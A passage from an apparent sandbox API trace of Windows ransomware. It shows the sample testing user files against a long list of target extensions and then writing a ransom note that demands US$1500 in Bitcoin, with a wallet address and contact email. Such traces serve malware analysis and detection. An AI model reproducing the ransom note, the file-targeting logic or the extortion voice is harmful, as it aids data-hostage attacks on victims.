5 [0091.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.eml") returned 0 [0091.015] lstrlenA (lpString="*.eml") returned 5 [0091.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.msg") returned 0 [0091.015] lstrlenA (lpString="*.msg") returned 5 [0091.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.edb") returned 0 [0091.015] lstrlenA (lpString="*.edb") returned 5 [0091.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.accdb") returned 0 [0091.015] lstrlenA (lpString="*.accdb") returned 7 [0091.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.odb") returned 0 [0091.015] lstrlenA (lpString="*.odb") returned 5 [0091.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.java") returned 0 [0091.015] lstrlenA (lpString="*.java") returned 6 [0091.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.asm") returned 0 [0091.015] lstrlenA (lpString="*.asm") returned 5 [0091.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.pfx") returned 0 [0091.015] lstrlenA (lpString="*.pfx") returned 5 [0091.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.pem") returned 0 [0091.016] lstrlenA (lpString="*.pem") returned 5 [0091.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.p12") returned 0 [0091.016] lstrlenA (lpString="*.p12") returned 5 [0091.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.gpg") returned 0 [0091.016] lstrlenA (lpString="*.gpg") returned 5 [0091.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.vsd") returned 0 [0091.016] lstrlenA (lpString="*.vsd") returned 5 [0091.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.odg") returned 0 [0091.016] lstrlenA (lpString="*.odg") returned 5 [0091.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.raw") returned 0 [0091.016] lstrlenA (lpString="*.raw") returned 5 [0091.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.nef") returned 0 [0091.016] lstrlenA (lpString="*.nef") returned 5 [0091.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.svg") returned 0 [0091.016] lstrlenA (lpString="*.svg") returned 5 [0091.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.psd") returned 0 [0091.016] lstrlenA (lpString="*.psd") returned 5 [0091.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.vmx") returned 0 [0091.016] lstrlenA (lpString="*.vmx") returned 5 [0091.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.vmdk") returned 0 [0091.016] lstrlenA (lpString="*.vmdk") returned 6 [0091.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.vdi") returned 0 [0091.017] lstrlenA (lpString="*.vdi") returned 5 [0091.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.lay6") returned 0 [0091.017] lstrlenA (lpString="*.lay6") returned 6 [0091.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.mpeg") returned 0 [0091.017] lstrlenA (lpString="*.mpeg") returned 6 [0091.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.djvu") returned 0 [0091.017] lstrlenA (lpString="*.djvu") returned 6 [0091.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.tiff") returned 0 [0091.017] lstrlenA (lpString="*.tiff") returned 6 [0091.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.backup") returned 0 [0091.017] lstrlenA (lpString="*.backup") returned 8 [0091.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.pdf") returned 0 [0091.017] lstrlenA (lpString="*.pdf") returned 5 [0091.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.cert") returned 0 [0091.017] lstrlenA (lpString="*.cert") returned 6 [0091.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.docm") returned 0 [0091.017] lstrlenA (lpString="*.docm") returned 6 [0091.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.xlsm") returned 0 [0091.017] lstrlenA (lpString="*.xlsm") returned 6 [0091.017] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.dwg") returned 0 [0091.018] lstrlenA (lpString="*.dwg") returned 5 [0091.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.nd") returned 0 [0091.018] lstrlenA (lpString="*.nd") returned 4 [0091.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.tlg") returned 0 [0091.018] lstrlenA (lpString="*.tlg") returned 5 [0091.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.lgb") returned 0 [0091.018] lstrlenA (lpString="*.lgb") returned 5 [0091.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.mov") returned 0 [0091.018] lstrlenA (lpString="*.mov") returned 5 [0091.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.xdw") returned 0 [0091.018] lstrlenA (lpString="*.xdw") returned 5 [0091.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.ods") returned 0 [0091.018] lstrlenA (lpString="*.ods") returned 5 [0091.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.wav") returned 0 [0091.018] lstrlenA (lpString="*.wav") returned 5 [0091.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.mp3") returned 0 [0091.018] lstrlenA (lpString="*.mp3") returned 5 [0091.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.aiff") returned 0 [0091.018] lstrlenA (lpString="*.aiff") returned 6 [0091.018] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.flac") returned 0 [0091.019] lstrlenA (lpString="*.flac") returned 6 [0091.019] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.m4a") returned 0 [0091.019] lstrlenA (lpString="*.m4a") returned 5 [0091.019] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\RZbn-AM.bmp", pszSpec="*.csv") returned 0 [0091.019] lstrlenA (lpString="*.csv") returned 5 [0091.019] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6e84d0, ftCreationTime.dwHighDateTime=0x1d5d9ea, ftLastAccessTime.dwLowDateTime=0xb1838970, ftLastAccessTime.dwHighDateTime=0x1d5dea7, ftLastWriteTime.dwLowDateTime=0xb1838970, ftLastWriteTime.dwHighDateTime=0x1d5dea7, nFileSizeHigh=0x0, nFileSizeLow=0x145eb, dwReserved0=0x4d006c, dwReserved1=0x5c0039, cFileName="RZbn-AM.bmp", cAlternateFileName="")) returned 0 [0091.019] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0091.019] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bd8a310, ftCreationTime.dwHighDateTime=0x1d5d885, ftLastAccessTime.dwLowDateTime=0x3ce4a9c0, ftLastAccessTime.dwHighDateTime=0x1d5e756, ftLastWriteTime.dwLowDateTime=0x3ce4a9c0, ftLastWriteTime.dwHighDateTime=0x1d5e756, nFileSizeHigh=0x0, nFileSizeLow=0x9974, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="lwGRQt.png", cAlternateFileName="")) returned 1 [0091.019] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0091.019] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="lwGRQt.png") returned -1 [0091.019] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="lwGRQt.png") returned -1 [0091.019] lstrcmpiA (lpString1="", lpString2="lwGRQt.png") returned -1 [0091.019] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\*.*") returned="*.*" [0091.019] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\" [0091.019] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\") returned="" [0091.019] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\HOW TO DECRYPT FILES.txt" [0091.020] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\how to decrypt files.txt")) returned 0xffffffff [0091.020] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0091.021] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0091.021] WriteFile (in: hFile=0x98, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0091.023] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0091.024] CloseHandle (hObject=0x98) returned 1 [0091.024] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\", lpString2="lwGRQt.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png" [0091.024] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.ems") returned 0 [0091.024] lstrlenA (lpString="*.ems") returned 5 [0091.024] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.db") returned 0 [0091.024] lstrlenA (lpString="*.db") returned 4 [0091.024] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.dbf") returned 0 [0091.024] lstrlenA (lpString="*.dbf") returned 5 [0091.024] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.myox") returned 0 [0091.024] lstrlenA (lpString="*.myox") returned 6 [0091.024] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.myo") returned 0 [0091.024] lstrlenA (lpString="*.myo") returned 5 [0091.024] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.qbw") returned 0 [0091.024] lstrlenA (lpString="*.qbw") returned 5 [0091.024] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.qbb") returned 0 [0091.024] lstrlenA (lpString="*.qbb") returned 5 [0091.025] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.qbm") returned 0 [0091.025] lstrlenA (lpString="*.qbm") returned 5 [0091.025] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.qbo") returned 0 [0091.025] lstrlenA (lpString="*.qbo") returned 5 [0091.025] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.qbx") returned 0 [0091.025] lstrlenA (lpString="*.qbx") returned 5 [0091.025] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.qba") returned 0 [0091.025] lstrlenA (lpString="*.qba") returned 5 [0091.025] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.qby") returned 0 [0091.025] lstrlenA (lpString="*.qby") returned 5 [0091.025] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.qbj") returned 0 [0091.025] lstrlenA (lpString="*.qbj") returned 5 [0091.025] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.ofx") returned 0 [0091.025] lstrlenA (lpString="*.ofx") returned 5 [0091.025] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.qif") returned 0 [0091.025] lstrlenA (lpString="*.qif") returned 5 [0091.025] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.mye") returned 0 [0091.025] lstrlenA (lpString="*.mye") returned 5 [0091.025] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.mbox") returned 0 [0091.025] lstrlenA (lpString="*.mbox") returned 6 [0091.026] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.eml") returned 0 [0091.026] lstrlenA (lpString="*.eml") returned 5 [0091.026] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.pst") returned 0 [0091.026] lstrlenA (lpString="*.pst") returned 5 [0091.026] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.ost") returned 0 [0091.026] lstrlenA (lpString="*.ost") returned 5 [0091.026] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.idx") returned 0 [0091.026] lstrlenA (lpString="*.idx") returned 5 [0091.026] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.dbx") returned 0 [0091.026] lstrlenA (lpString="*.dbx") returned 5 [0091.026] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.sql") returned 0 [0091.026] lstrlenA (lpString="*.sql") returned 5 [0091.026] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.mdb") returned 0 [0091.026] lstrlenA (lpString="*.mdb") returned 5 [0091.026] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.fdb") returned 0 [0091.026] lstrlenA (lpString="*.fdb") returned 5 [0091.026] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.wab") returned 0 [0091.026] lstrlenA (lpString="*.wab") returned 5 [0091.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.dat") returned 0 [0091.027] lstrlenA (lpString="*.dat") returned 5 [0091.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 